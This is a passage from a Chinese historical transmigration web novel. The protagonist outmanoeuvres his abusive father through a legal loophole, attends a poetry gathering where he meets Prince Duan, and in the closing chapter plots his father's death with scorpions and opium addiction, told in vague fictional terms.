看来看去,像施姨娘这样的身份,连想要摆脱段成平的可能性都没有,只要段成平不松口,施姨娘就跑不脱。 实在不行……自己作为儿子,亲生的母亲差点被亲生父亲杀害,两边都是父母,能不能魔法对抗魔法,替母告父呢? 可《大雍律》明明白白告诉你,以夫为尊,以父为尊,以子告父是干名犯义,杖刑起步,最高死刑。更何况施姨娘没死,只要没死了人,段成平就没有罪过。 这可怎么办?段之缙脑袋嗡嗡叫,他有两天没敢歇了,生怕自己睡觉的时候姨娘又遇险。 沈白蘋心疼自己的丈夫,在旁边出主意:“我想着二爷才读了没几本书,看不出这其中的关节实属常事。秦先生什么时候来教书呢?不如问问先生,先生那般厉害,定然能给二爷出出主意!” 段之缙听她一劝,欣喜若狂。 对啊,怎么把秦先生给忘了!先生可是刑部出身,问他可算是问到行家了!而明天就是先生来上课的日子。 “蘋儿,你真出了个好主意!”不过有了解决的方法,段之缙更睡不着了,辗转反侧到了天亮,第二天顶着一对熊猫眼去正堂等先生来。 秦先生尚未得知发生何事,仍如往常一样,只不过身边多了一个冯胜伺候,一进门就见两个小夫妻高举着《大雍律》齐刷刷跪在当门口,声泪俱下。 段之缙见了可以依靠的人,把事情和盘托出,言语间俱是对父亲的不满。 沈白蘋还不知他们的关系已经好到了那个程度,忙为丈夫找补:“虽说子不言父之过,但姨娘是二爷的生身母亲,我们如何能眼睁睁地看着家里出生父杀生母的人伦惨剧?” 秦行也真是可怜这个学生,偏生摊上这样的父亲,任由姨娘受害是不孝,为了姨娘顶撞父亲也是不孝,两边都不用做人了。 他拿起段之缙手上的律法翻了翻,叫两个孩子起身坐下,然后问道:“你们两个想要怎么着?” 他俩也没什么大奢望,也不可能按照现代法律叫段成平去坐牢,诉求只有一个,那就是能叫段成平不要再为难母亲和姨娘,最好井水不犯河水,大家相安无事。 “有一个办法,你去和你父亲说,若是再有这样的事情,你就只能去刑部衙门了。” 这是什么主意?!段之缙眼都瞪直了:“先生,卑幼告尊长,这可是干名犯义啊!再说,若是他折磨姨娘却不害命,告也告不到。” 秦先生笑道:“偏你这样的死心眼,谁还叫你去告他了?律法中不是规定了,卑幼可以替尊长自首吗?你揪住你父亲的错处,跟他说要替他去自首。朝廷为了表示对这种行为的嘉奖,两者俱可以免罪。可虽然免罪了,罪名还在,你父亲到底是做官的,这种脏事一出可就无官可做喽!” 段之缙不解:“我母亲那件事儿您也知道,父亲虽然不可能升迁了,但是官还做着,如今不过是刁难一个妾室,怎么会到丢官的程度。” “那是你们家的家事,且你的母亲到底没有身亡,虽然私德有亏,但也不至于丢官。所以你要找一件真的罪过,不拘什么惩罚,哪怕罚俸都行。” 沈白蘋听到这里,突然兴奋:“有的!”她看着段之缙,眼睛闪亮非常:“二爷还记不记得夏春?她帮母亲从家中逃走后就被打死了,故意杀害家中的奴婢按照律法是要调两级任用的!” 段之缙也想起了这个事情,大喜过望,将夏春的事情告诉了先生。 先生将律书合上,细想了一阵后微微颔首:“可。虽然夏春是背主还是忠仆难以界定,但是故杀是错不了的,最轻也要降两级,他且舍不得呢。再者作证之人也有,你直接去跟你父亲说就行。” 沈白蘋却想到了陈姨娘那一关节,又问道:“父亲心软,偏爱一位姨娘,若是那位姨娘从中作梗说我们二爷不孝如何是好?” 秦先生笑道:“我却不知替父自首这样的孝举如何成了不孝的把柄了。她要是往外说,正好给缙儿宣扬宣扬美名,叫人知道你母亲教养有功。且这样的事儿,你父亲比你们更想瞒住,他到底做了这么多年的官,不会叫女人在这上边作乱。” 现在真 是万事俱备了,夫妻二人给先生磕了头,段之缙这才松下一口气,不管结果如何,这已经是大家能想到的最好的法子,现在还是专心上课,等着下午段成平散衙回家,他就去做了这件事。 想到这里,段之缙抬头看看先生,既敬佩他对律法的理解,又好奇他日后再入朝廷的事情,打听道:“若是先生能再入朝为官,第一件事要干什么?” 秦行叫冯胜给他点上烟,嗤笑一声:“先把这些律法的漏子堵住,省得有人名为代亲自首,实为干名犯义。” 段之缙和沈白蘋对视一眼,俱笑了起来。 …… 上了一天的课,又是背诗,又是做经解,还要写时文和论,人的骨头都要僵了,可段之缙一听说老爷回来了,一点都不耽搁,直接去了望月堂。 段成平也称奇,自己不找这个儿子便罢了,如何这个儿子能找自己呢? 因临走时往眼下涂了一点葱汁儿,段之缙的眼泪根本止不住,痛苦地跪在地上诉道:“儿子前不久才得知,十几年前家中竟打死了一个叫夏春的女婢。夏春虽然是奴婢,可到底人命关天,若是叫旁人知道了父亲定然会被降两级任用,儿子不能坐视不理。今天是来和父亲说明,明日儿子就去自首,说那女婢是自己打死的!” 这话纯在放屁,夏春死的时候段之缙才五岁的孩子,他能不能知道人有生死都是个问题。 何况还有王虞在,她能眼睁睁看着儿子给自己背黑锅?定然会出面反驳,到时候全都知道段家打死了婢女,连带当年那件烂事也会被翻出来。 段成平大怒:“你疯了!好端端地做什么去自首?本来尊长杀卑幼就是自告,你不去谁知道这个事情?” 段之缙却说:“儿子自小读圣贤书明理,不能平白漠视一条人命。父亲也请放心,儿子也读了律法,只要自首就可免罪,我们父子二人不会收到刑罚的!” 道理是这个道理,但官员犯罪直达天听,圣上必然会过问,那王虞的事情也会被翻出来,原本圣上不知道也知道了,自己还做个屁的官! 段成平恨不得打死这个孽种了事,可这个孽障刚在山东立了功,和那个叫常百草的一样还等着受表彰呢,要是出了事情,自己也得不着好,王虞那个能闹劲儿,还不知道会如何。 等会儿……段成平突然一个激灵,感到了大大的不对劲。 这个孽障突然来这么一遭,定然不是为了十几年前奴婢的命,怕是另有所图。 他眼睛一眯:“你是为了你姨娘来的吧?” 段之缙还没演到戳破这层窗户纸的时候,段成平自己就提了出来,他一默,最终点点头,然后狠狠挨了一个嘴巴子。 “我就说,你哪来的善心!算计到你老子头上了……” 做爹的喋喋不休地骂,脸皮已经全然撕破了,也没有再装的必要,段之缙直接打断他:“老爷,我光脚不怕穿鞋的,您身上有官职,我身上却没有,要是真闹起来,纵使我死了,老爷的官却也保不住了,何必如此呢?” 只威逼恐怕是不成,段之缙又说道:“儿子别无所求,咱们以后井水不犯河水,仍如往常那般不好吗?儿子终究是老爷的儿子,再怎么有出息也反不了天,还是老爷的儿子。以后您不要管母亲和姨娘,母亲和姨娘也再也不来打扰老爷,咱们就当彼此不存在还不行吗?” 段成平还真叫这个孽子制住了,现在也只能这般,气恼地叫他回去。 段之缙又说了一句:“老爷若是弄出来什么事故,我即便是背上了不孝的骂名,叫仵作来开膛破肚也会验尸的。” 他这个意思分明是信不过段成平,意指姨娘或是谁不明不白地死了,他也绝不罢休。 段成平没有回答,只朝着段之缙的方向狠狠扔了一个砚台,砚台砸在门框上,木头被砸到断开。 可这个事情到底是过去了,以后全当谁也不认识谁,段之缙也能安生地读书。 第43章 043中秋诗会和端王 解决完了这件事情,段之缙先回了主院跟母亲和姨娘说明,提议道:“儿子看院中布局,望月堂在东,主院靠中间。西侧不仅有儿子的致知斋,还有翠微院、陶然居等院落,其中陶然居的面积也不小,母亲不如搬到陶然居去,不仅离儿子的居所更近,还能以主院为界限,连同月儿桥,咱们分隔而居。” 王虞转了转手上的数珠,觉得此法甚好。 这东侧西侧厨房什么的都齐全,当初自己住在主院也不过是为了斗一口气,自家买的房子,最好的院子自然要叫自己来住,凭什么给了旁人?现在想来却是没有必要。 能两不相干最好,住在主院靠中间,那些畜生进进出出还要从正门走,戳自己的眼眶子,还不如往西边的陶然居住。 施姨娘也不会有意见,去哪儿她都要跟着主母,因而去哪儿也无所谓,现在第一要紧的事情是用鸡蛋滚一滚儿子红肿的脸,老爷下手也忒狠,皮涨得要破。 段之缙说完了段成平的事儿也没有别的事儿要说,便告退想要回致知斋,顺手把刚才滚了脸的鸡蛋填到嘴中,用旁边的茶水送下去。 哪有这样的?家里又不缺那个鸡蛋,王虞嗔他不干净,可段之缙在山东挨了那一遭,便是米粒子掉到地上也要捡起来吃。 回了致知斋,沈白蘋瞧见他的脸也心疼,叫人拿了常备下的跌打损伤药,清清凉凉的一层,给段之缙敷上,脸也就不那么火辣辣地疼了。 头一天上课,又知段之缙晚上还要和他父亲打擂台,秦先生便没布置功课,叫学生歇一歇,因而今天上床极早,段之缙也是好长时间没睡个囫囵觉,一沾枕头便开始丧失知觉。 但沈白蘋心里有事儿,总归睡不着,犹豫了好久戳醒段之缙,想要说却还有难以启齿。 段之缙打一个哈欠开了口:“你咋了?” 沈白蘋捏着被子角搓揉,可怜兮兮道:“我还能跟你一块上课吗?” 段之缙自然应许,不过自己学的是科举应试,学诗或者是论都不深,时文也是不做官用不上的东西,跟着自己学未免舍本求末了,提议道:“我自然是愿意的,有一个同窗一起上课还有意思,只是我是为了应试,有一些东西学不精,不如为你另请一个先生深入学一学?” 沈白蘋摇摇头:“你走了后,母亲待我挺好,知道我认字读书还特意给我请了先生教导。只是他们见我是女子,总要讲一些和学问无关的事情,换了好些也是那样,不肯为我深入地讲。” 啊……和学问无关的女德女戒是吧,那的确恶心人,还不如跟着秦先生呢。 段之缙回道:“明日我问问先生,只要先生答应,咱们俩就一起上课。”语罢,他又想起来原作里婆媳之间的关系,问道:“你……你现在见母亲是什么心情?若是还难受就当她不存在,有事儿都叫我去做。” 他不想叫谁做圣人,因为一点小恩小惠就原谅了施暴者,可自己也不能撺掇着她报复回去,这两个人能全当看不见对方最好。 沈白蘋叹一声气:“圣人都说要以直报怨,我不可能原谅她。但她是母亲,之前又不断为我请先生,我也不可能如何……便这样吧,抬头不见低头见,日子能过下去就行。” 段之缙颔首,一会儿没了动静也就睡了。 第二天就是正经上课的日子了,秦先生提了一本《艺文类聚》来,相当于一部大辞典,吩咐段之缙每日读,积累典故和词汇。 段 之缙接过,将沈白蘋的事情说了,秦先生寻思着叫他媳妇来做“监工”,料想这个小子还要些脸,定能更加用功,因而今日便叫沈白蘋来上课,仍是坐在屏风之后,严男女大防。 今日上课的任务有三,一是叫段之缙开始实战写诗,二还是写时文,把格式要求全往脑子里刻,三则要写论。 段之缙一听要实战,脑子就开始嗡嗡响,秦先生还安慰他,“你怕什么?之前咱们对对子不都挺好吗?你就把写诗当成对对子。我也不给你出新题,仍是那一年的‘冯妇攘臂下车’,你给我写一首五言六韵诗。” 五言六韵一共十二小句,段之缙的狼毫笔在砚台里一圈一圈地滚,生生憋出来十二个小句。 前四小句说描述场景,说冯妇之勇猛,在虎啸当前之际下车搏虎,其后四小句讲冯妇虽然改行为善士,但仍有一腔豪情热血,最后四小句先讲冯妇这是除凶安民,然后一转到现在太平盛世,豪杰辈出,大家一起建设美丽大雍。 起承转合颂圣诗。 段之缙还在暗暗得意,秦先生把他写的诗令小丫头传给沈白蘋,叫他媳妇先评论一番,“你觉得缙儿写得如何?可千万别顾及他是你丈夫就昧着良心夸。” 屏风后边的呼吸一窒,然后轻声开了口:“学生觉得,赋得‘冯妇攘臂下车’不该得‘勇’字。因而二爷这首诗……” “对!跑题了!”秦先生烟斗咣咣砸在段之缙的桌子上,“为师跟你说的什么?小八股,小八股,按照朱子教训来,你读《孟子》的时候谁给你夸冯妇之勇了?” 段之缙“啊”了一声,怨不得之前先生说试帖诗要“有题无情”。 按照人最朴素的情感,冯妇自然值得颂扬,但朱熹是从理学的角度分析的这个事情,冯妇的行为在先贤们看来是“不知止”,笑他没有自制力,不能真正改掉原来的流氓习气。 秦先生见段之缙的神情便知这孩子知晓错在何处,但却不叫他改,想要羞一羞他,叫沈白蘋先作一首诗,也是以“冯妇攘臂下车”为题。 沈白蘋回忆一番朱子的解释,提笔写道:“《赋得冯妇攘臂下车得‘理’字》”。 前两联写冯妇鲁莽冒进,下车搏虎不改旧日习气,中二联说制服猛虎自然有他的办法,不应该蛮力相搏,最后两联推崇礼乐教化,说“圣代敷文教,蛮风尽荆杞”的句子,颂本朝为礼乐之邦。 秦先生接过一看,先赞一句“善”,递给段之缙叫他自己比一比,然后问沈白蘋:“你以前该是学过很长时间的诗吧。” 屏风后传出答话声:“是,以前在外祖家,和堂兄弟姐妹一块上课的。” 秦先生和杨家人共事过一小段日子,也听说过他们家的名声,从来不说什么“女子无才便是德”的屁话,教出来的女儿知书达理,只可惜教导孩子是一码事,自己为官又是另一码事喽…… 不过给缙儿娶这样一个媳妇倒是甚好,自己不在还能教一教他作诗,因而便吩咐段之缙跟他媳妇学习,能写到沈白蘋的水平便大差不差了,起码考试没有问题。 先生又领着他们练了一会儿写诗,就开始讲授时文,在段之缙写作的时候给沈白蘋和冯胜开小灶,讲一讲经史子集的内容,左右他们两个也不用考科举。 每天下课的时间都没什么定数,全看太阳什么时候落,日落就下课,秦先生看着段之缙一口气吐出来,笑道:“你先别觉得万事大吉了,写诗不仅要勤练习,还得和人交流探讨,中秋节那一日文人雅士会聚集在‘壶中日月’园举办诗会,我叫人带着你去玩一玩。” 段之缙心里烦得很,他作诗做成这个样子怎么好去什么诗会?推脱了两句,秦先生却不是和他商量的,神情莫名地捏一捏他的肩膀,“去吧,那天端王来,好好表现,说不得你父亲的事情就能解决了。” 段之缙心脏突得一跳,拒绝的话便再也说不出来了。 …… 一晃眼就到了中秋节,一大早厨房就送来了蟹黄汤包,蟹子活着的时候直接埋入冰里,快马加鞭地送到京城里供贵人享用,喝一口里边的汤,眉毛都要鲜掉了,但蟹子性寒,吃多了泻肚,段之缙吃了两个就住嘴,开始吃就着腌姜喝粥。 刚用完了饭,段之缙挂上沈白蘋为他准备的桂花香囊,拿上诗会的请帖乘马车去广和居酒楼的“山水一程阁”等候,先生说会有人来领他。 果然没等多长时间,包间的门就被轻轻敲动,外边一个温文尔雅的声音传进来:“是段之缙段兄弟在里边吗?” 王章连忙起身开门,段之缙和外边的人对视,相互行了一个礼,外边那男子笑道:“我姓邹,名‘文’,字‘含章’,是秦先生托我来领你去中秋诗会。” 昨日先生已经跟他说好了这些事情,他不仅知道眼前之人字“含章”,还知道他现于端王府中担任笔帖式,因为写得一手好文章和一笔好字被欣赏,日后先主持《大典》的编篡,后做礼部尚书。 段之缙回道:“含章兄,弟家中长辈尚未取字,您叫我名字即可。” 邹含章一笑:“我长你许多,叫你一声段弟如何?” 段之缙应下,两人一起入“壶中日月”园。 壶中日月园是已经致仕的帝师丁元敏的私人园林,端王内城有一个栖春园不够,还用府内幕僚的名义买了丁元敏的院子,专为游玩用,平日里还经常开诗会,招待一切有缘人,顺便捞一些不知名的贤才。 今日还是用那名幕僚的名义举办了诗会,他隔得远远地看,自然有人将读书人们做的诗词抄录送来。 此时段之缙已经和众读书人一块坐到了曲水流觞亭中,大家相互介绍完毕,已经兴致勃勃准备玩乐了。 这园林的主人焦常青站起来制定规则:“往年玩的都有诗无酒,到底没意思,今日我们玩有诗又有酒的,曲水流觞!我这小酒圆放在小船里,停在谁那里谁就作诗,做不出来就一饮而尽,如何?” 大家都应是,邹文点点手里的扇子:“那作诗的规则呢?我们是命题还是限韵?是联句还是接龙?” 焦常青和他相熟,故作刁难状,摇摇脑袋回道:“今年玩得难一些,分咏格如何?” 大家大笑称好,段之缙简直想缩在角落里。 还好好表现呢,没丢脸丢到端王那里就已经是万幸了。 分咏格要求上下句分别咏一个不相干的事物,两句对仗,诗中不能出现被咏之事物,连同义之词也不行,还要将两个东西勾连起来,浑然一体,但是不拘是不是原创。 一人抽两张小字条,写下两个事物或人物,揉成小球扔进早就准备好的罐子中摇匀,那小酒圆也乘着小舟一路流下,先停在一个薄脸书生面前。 大家催着他赶紧抽,他也笑着从罐子里摸出来两个纸团,展开一看,“酒杯”、“抹布”两词,脸上便带了难色。 焦常青拍拍桌子,叫计时沙漏的沙流得更快,催道:“刘兄,快一些,沙子漏完了就赶紧喝酒。” “别急,我有了!” “快快说来!” “醉里乾坤天地宽,灰头垢面不堪言。” 邹文立刻起哄:“这两句有个啥关系?喝酒喝酒!” 薄脸书生认输,仰头一杯桂花酒饮下,将空荡荡的酒圆展示给大家看,扬声说道:“诸位,喝酒可得按我这个标准来,喝干净!” 题字没有被做出合格的联句,是不会换新题的。 新的小酒圆又乘上小船,万众瞩目下停在一个高高瘦瘦的中年人前,焦常青当即拍手叫好:“孟先生可是作诗的高手,大家快掏干净了耳朵!”然后猛拍桌子,叫沙漏漏得更快。 孟先生轻蔑一笑:“老焦,你小瞧我?”然后看着众人:“诸君,听我这一句‘只为拂尘接贵客,微能容水醉妙人’!” 这才是分咏格,“酒杯”和“抹布”这两个词就算过了。 这杯酒接着往下流,正好停在最后一个人面前,那人抽出来两个字条:“岳飞”、“豆腐”,然后放弃挣扎直接把酒喝干净。 酒圆从头开始飘,这一次停在了焦常青面前,这下大家高兴了,一齐猛拍桌子,沙漏以两倍的速度疯狂下落,在最后一粒沙掉下里的时候,焦常青怨道:“ 你们啊……‘千古冤狱莫须有,一身清白东坡知’。” 以莫须有之罪暗示岳飞,又用苏东坡吃豆腐的事情说其清清白白,果然是有两把刷子。 如果一直看大家玩,那还真是挺有意思,段之缙用筷子夹着盘子里的花生乐呵呵地看,也真是他运气好,酒杯怎么也飘不到他这里。 玩了好长时间,基本上所有人都玩了,只剩下包括段之缙在内的三个幸运儿逃过一劫,大家腹内饥饿难忍,焦常青喝得两个眼珠子赤红,也不愿意再玩,干脆道:“作五言绝句,以‘花’为主题,写得最好的那一个不喝,其他人喝三杯!” 其余二人即兴而作,“花开一瞬香,落尽亦无伤。莫叹春光短,来年更盛妆。”一首很有些旷达的味道。 段之缙平时作诗都磨磨唧唧,现在叫他即兴作诗如何能成?汗都要冒出来了,一眼扫到石凳旁连成一小片的苔藓,一首诗窜入了脑海。 他也管不得什么了,提笔写道:“白日不到处,青春恰自来。苔花如米小,也学牡丹开。”写完之后尴尬一咳,扫两眼周围人的反应。 邹文和焦常青盛赞:“文辞简单,娓娓道来,于平凡处见奇崛,可见你的志向。”然后看另两位一眼,“快快饮酒!” 那两人相视一笑,连饮三杯,段之缙浑身不自在,暗暗腹诽:“能不好吗,袁枚写的诗,今天叫我偷来用了,晚上得给他烧点纸过去,算是侵害他著作权的赔偿。” 他这边心里打算,楼上的端王纪禅已经拿到了那首诗,在眼前端详了许久,哼笑一声:“真是有几分才气,叫他上来和本王一块儿说说话。” 段之缙正准备和邹文一块儿去吃饭,一个面白无须的男子和邹文耳语了几句,邹文瞪大眼睛,惊道:“真的?”他回首好生打量了一顿段之缙,也不知道他哪儿出奇些,怎么就叫端王看在眼里。 不过这样也对得起秦先生了。 他朝段之缙招招手:“快跟着来吧,你今天遇上贵人了。” 段之缙心脏嗵嗵跳起来,几乎同手同脚地跟在邹文身后,他的腹部不知为何有些疼痛,肠子像是绞在了一起。 是因为你上一世死于端王之手吗?段之缙问这副身体,也得不到答案,疼痛一点点消失了。 山路十八弯比不上端王心里的弯弯绕绕多,连小楼都建成九曲回肠的样子,邹文带着他兜兜转转,明明是一模一样的屋子,他如何能分辨出开哪一扇门? 最后两人停在一扇平平无奇的小门前,邹文轻轻扣动:“王爷,下官带着段之缙来了。” 门被一下子拉开,露出一个圆圆胖胖的笑脸,看起来年纪很大,可因为肥胖,脸上一丝皱都没有。 邹文打一声招呼:“吕公公,我把王爷要找的人带来了。” 吕太清让步叫他们进来,还笑眯眯地打量了一番段之缙。 两个人垂首低眉给端王请安,谁也不敢抬头看,只听见上边一个沉静的男声响起:“邹文到本王身边来,段之缙抬头给本王看看。” 段之缙抬起头,仍是敛着眼睛,一点点余光看清楚了端王。 今年该三十来岁了,端的一副龙章凤姿的好相貌,眼角往下掉,仿佛悲天悯人,可段之缙心里清楚得很,纪禅最善做“兄弟祭天,法力无边”的事情。 纪禅看了看段之缙的相貌,带到王府里做笔帖式也不嫌碍眼,又是秦行的学生,日后也方便用他和秦行套近乎,于是叫他起来问话。 “你是第一等的读书人,在山东的那些事情本王也知道了,很该好好封赏。不过本王还想要问问,你为何敢在那个时候提出火葬呢?这可是冒天下之大不韪。” “王爷谬赞,草民以为第一等的读书是为明理,最下等的读书就是为了做官。若草民舍本逐末,不能在山东挺身而出,那草民也不能叫读书人,应该叫应试人。至于名声一事,本来就应该由身后之人评说。” 纪禅失笑:“你算是骂尽天下读书人了。”他说着,手指在茶杯沿上画圈,很不经意地问:“你说名声一事,本来就应当留给身后之人评说,你以为身后之人会如何评说呢?” “自然是有错论错,有功论功。功又可以掩过,过也可以掩功。其中的道理,不过在于‘爱民’两字,如唐太宗玄武门之变弑兄屠弟,可他有贞观之治,百姓安居乐业,他的评价并不因此降低。始皇帝一统天下,结束了混战,难道无功吗?二世而亡,是输在‘爱民’二字。” 段之缙规规矩矩地站着,一开始还有些害怕,后来想想无甚可怕的,自己了解纪禅,正如纪禅了解自己一般,他心里向外翻涌的野心,他对皇位苦苦的求索,和二哥誉王在朝堂上打得你死我活,最后联合九门提督兵变成事。他腥风血雨的一生,段之缙都很清楚。 弑父杀兄,他一样也没少干。 “你倒是很有一番自己的见解。不过我听着你说话,好像也不把弑兄屠弟这样大逆不道的事情放在眼里。” 段之缙心里骂骂咧咧,嘴上恭恭敬敬道:“君君臣臣,父父子子,草民不敢违背。但是圣人也说了‘民为重,社稷次之,君为轻’,‘天地君亲师’,和百姓比起来,君都轻了,何况是‘亲’,又何况是兄弟呢?” 谁能不知道,你活宰了你二哥的心都有。 纪禅终于问完了,他把手里转悠了好长时间的茶水放在一边。 问了这么多,只是想看看这个人的见解,现在看来真不错,难得不是假道学,这样的话,倒也不亏早上特意和父皇请旨将他父亲外调,又说想叫他来王府。 其实说完自己就有些后悔,便是为了秦行也没有这么急的,没想到秦行处理刑部的事情有一套,教学生也有一套。 纪禅叫吕太清给段之缙搬个小杌子往自己身边坐,显得十分可亲,亲自在一个干净茶碗里倒了杯水,递给段之缙,“瞧着你年纪挺小的,今年多大了?” 段之缙答道:“草民四月份年满十九。” “四月十九岁,你是何时出生的?” 段之缙回答了出生的日子。 纪禅沉吟一会儿,慢慢推算出了段之缙的八字,然后怜爱地瞟一眼他:“不看时柱,你与你父亲父子相克都挺严重……” 这精神病吧!上来算人家八字?! 段之缙没再说话,纪禅安慰他:“不过不要紧,本王向皇上请旨,叫你父亲外放去玉平做个知府,正好把杨度调到京里。你来我王府中做个笔帖式,叫邹文带着你。” 去端王府做笔帖式,这真是一条捷径了,可知道未来之事的段之缙却是一千万个不愿意,一则没有功名在官场里低人一等,二则现在时局不好,五皇子齐王还要狠狠刺这个四哥一刀呢,逆书案从端王府扯出去了不少写文书的笔帖式,连几个和端王感情甚好的人都被诛杀,大部分刚进王府的笔帖式都因此受刑。 而此案就在崇德十七年年底,自己绝不能在此时进端王府。 想到此处,段之缙又跪在地上磕了一个头:“王爷厚恩,草民没齿难忘,只是草民还是想走科举正途。再者山东治疫本来就是草民分内之事,不敢奢求朝廷的封赏。” 纪禅脸上的笑容一僵,他从没有料到自己还会被拒绝,面上没有什么,心里已经十分不愿意了,一句话不说,就任段之缙跪着。 段之缙见他不说话便知这个心眼小的要恼,掐了一下大腿,眼泪涌出来:“草民愿将这个恩典给草民的母亲,请朝廷赐嫡母一个诰命!” 纪禅不置可否,只挥手叫段之缙退下,实则是没答应。 本来的事儿,只有尊上挑选卑下的,哪有做臣子的挑三拣四,还想把功劳换成母亲的诰命。 看着这个小孩儿退出去的样子,纪禅叫邹文近身,叮嘱道:“你去劝劝他,进了王府一帆风顺,何必去考那个科举?” 邹文还有些犹豫:“王爷,段之缙都不 愿意了,何必强叫他进王府?” 纪禅一笑:“千想万想也想不到他会拒绝本王,本来以为是板上钉钉的事了,本王才跟父皇说把他爹弄走,给他行方便,又说府上缺了一个笔帖式,叫他来顶。本王倒是不愿意难为他,又不缺这个笔帖式,只是再去和父皇说不要了,父皇怎么看本王?” 邹文这才明白,急忙出门追上了段之缙,从他背后拍了一巴掌。 “你真是糊涂了,如何不答应了王爷,从此平步青云,何必再去吃苦受罪呢?我们王爷听说你从去岁开始,忙得时候一天只睡两个时辰。” 段之缙心下冷笑,你们倒是查得清楚,袁先生都要看半天的八字,端王眼珠子一转就知道父子相克了,活神仙啊? 可他却恭敬地回道:“不是弟不识抬举,您跟在王爷身边想必也知道我们家的家事,能为母亲挣得诰命也能叫她腰杆儿硬些。” 邹文嘴皮子都要磨破了,段之缙眼泪也煽情地流,谁也说不服谁,最后邹文苦笑一声:“你真以为自己能选啊……我就是过来给你通通气,等着你父亲到任了,王爷卖给你的好也算是完成了,你就等着来王府跟我做同僚吧。” 好家伙,强买强卖,端王你竟然是这样的端王! 段之缙看邹文也不是全然走狗的样子,做出一副十分可怜的表情:“含章哥,真不是我不识抬举,你说哪一个读书的不想高中进士,做正途出身的官?我去了王府倒是轻松了,可我这辈子的理想就完了!还有我两个娘,都想看我金榜题名时风风光光的样子,你叫我怎么愿意啊?” “那我有什么办法?!” 段之缙看这个法子不行,开始耍赖:“求你了含章兄,你带着我来的,你得对我负责到底。” 邹文叫他恶心的够呛,连忙反驳:“可不是我带你来的,是你秦先生托我带你来的,若不是先生接济我读书,我不会管你的。” 段之缙大喜:“那太好了,你就当为了秦先生,给我想个招出来。” 邹文翻一个白眼:“你准备什么时候丧父?” “啊?” 邹文冷哼:“你要是死了爹,谁也不能叫你去王府!”他说完,一甩袖子走了,留段之缙在原地呆愣,心渐渐沉下去,他明白邹文的意思,去王府的事情似乎已成定局。 一直等着回到了段家,段之缙还是一副愁样。 第二天秦先生带着火气来的,一开始邹文来说的时候,秦行还高兴着呢,结果没想到这个小子这么犟,端王府都不去。 因此上来就要教训段之缙,手举起又放下,最后气地哀叹一声:“你怎么就不识好歹?你以为高中之后在翰林院里呆着会比在端王府强吗?笔帖式的官职是小,文书的活计,但是端王府的笔帖式只要一外放就能从知府开始做,你去问问那些正途出身的人,能有几个从知府开始做的?又要做几年的县令才能熬上知府?!” 段之缙磕一个头跪下,他是真不能把逆书案的事儿告诉先生,只求道:“俱是学生的错,若是晚两年我一定去,可现在真不行。求先生给我想想办法!” 秦行能有什么办法?摇摇头。 段之缙心急如焚,邹文那句“你准备什么时候丧父”又冒了出来,一股令他本人都胆寒的恶意从心底涌出。 逆书案是绝不能碰的,就算自己什么也不做,夹棍一上,没做也能说出来三张供词。 算了,“生父祭天,法力无边”,本来就是仇人。 可这个事情应该如何去做呢? 第44章 044丧父 段之缙想了许久,终于想起了在山东翻过的医书。 刚过中秋节,天还没彻底的冷下来,夜晚有蝎子活动也是常事,全蝎是大毒,被连续蛰咬后极其容易身亡。 段之缙在书房听老爷教训的时候带了一个小笼,盖子轻轻打开,里边五只毒蝎四散而逃,段之缙身上涂了雄黄,毒虫避之不及。 而新送给父亲的墨锭里放了引蝎子的草药,全都是医书里的经验。 果然没过多久就听闻段成平被蝎子蛰了,但真是他命大,竟只有一个蝎子蛰了他,大夫看后说问题不大,喝一些汤药五六天就能去毒。 身为儿子,段之缙自然要去侍疾,到底还是良心未泯,如果段成平悄悄地死了,看不见他的惨状,那死亡就只是一个消息,但看到那伤口的一瞬间,铺天盖地的愧疚感涌上来。 段成平被蛰的地方是右手,蛰在虎口处,整个伤口高高肿起,紫胀的淤血都要将皮撑破开,而被毒虫蛰咬之痛,痛不欲生,才几个时辰,整个人的精气神已经被吸干了。 终究是一条活生生的人命沉甸甸地压着,在某一个时刻,段之缙的确想要放弃了。 但很快他又狠下了心肠,也只能说是段成平自己造的业障。 难以忍受的疼痛叫老爷的脾气愈发大,摔了药碗打骂仆人也是常有的事情,王虞和施姨娘他们不来,可是周姨娘、陈姨娘还是要来照顾老爷的,陈姨娘得宠,一切近身的活都是周姨娘做。 可怜服侍了那个狠心的人这么长时间,周姨娘尽心尽力,却当了出气包,段成平可不管有没有儿子在场,当着段之缙的面,周姨娘被狠狠掴了一巴掌,段之缙一下子联想起自己挨的打。 如果到这里还能忍住的话,当段成平想要叫施姨娘也过来侍疾的时候,段之缙就忍不住了。 他跪在床边问:“老爷,我们不是说好……” 话没有说完,一个药碗就扔了下来,碎裂的瓷片将他的手背划开,血淅淅沥沥地顺着手指往下流,被悄无声息地擦去,段之缙抬头看着段成平狰狞的面孔,猛然意识到了一个真理:刀剑扎在伤人的恶虎上,那是恶虎活该。 段之缙沉默良久终于接受了现实,无奈道:“老爷等片刻吧,先叫大夫为老爷诊治一番。” 大夫来了又能如何,仍是那一句话,“靠身体来排毒,熬过这几天就好了。” 段之缙一脸不忍:“您看我父亲这种情况,怎么能熬过这几天?即便是他能熬过去,我们做晚辈的也不忍心。我听说阿芙蓉能够止痛,不知道咱们这儿有没有卖的。” 大夫犹豫起来:“阿芙蓉的确能够止痛,只是这个东西是南方的药,我们北地的大夫不常用不是很擅长控制用量,听说这个东西没用好是会成瘾的,而且贵得很,一两阿芙蓉就是一两金。” 段之缙松下一口气,只要有阿芙蓉就行,他苦笑一声:“不劳先生开方,我们自己去药铺抓就行,只是想知道这东西如何使用。” 大夫如实告知,然后进入内室再为段成平切脉改一改方子,背着药箱离开了。 阿芙蓉是上午问的,大烟膏是下午抽上的。 段之缙将一块黑漆漆的泥疙瘩似的东西在灯上烧软,慢慢填入烟斗中,再将灯盏移到榻上小案上,把烟嘴塞到段成平嘴里。 已经被手上的剧痛折磨到精神失常的段成平此时才反应过来,嘶哑着嗓子恶声问道:“这是什么?你姨娘呢!” 段之缙回:“姨娘还在收拾,等会儿就来了。这是大夫开的新药,一两药一两金,用了之后手上便不疼了。” 段成平将信将疑地吸了一口,烟气极为呛人,恶臭从胃部往上翻涌,差点将方才吃下的药顶出来。 段成平刚要大骂,患处的痛感却渐渐消失了,一种飘飘欲仙的快感充斥胸膛,脸上慢慢浮现出满足的微笑。 一口接着一口,段成平安静了下来,手上可怖的伤痕也阻止不了他亲手捧着大烟枪。 阿芙蓉,福禄膏,有了这个玩意儿还要什么姨娘啊…… 段之缙捂着鼻子带众人一块儿出去,没了人伺候的段成平也是安安稳稳的,再也听不见那恐怖的呻吟声。 这期间段之缙又为父亲从道观中 买了“金丹”,为吸食阿芙蓉后精神不振的父亲提神。 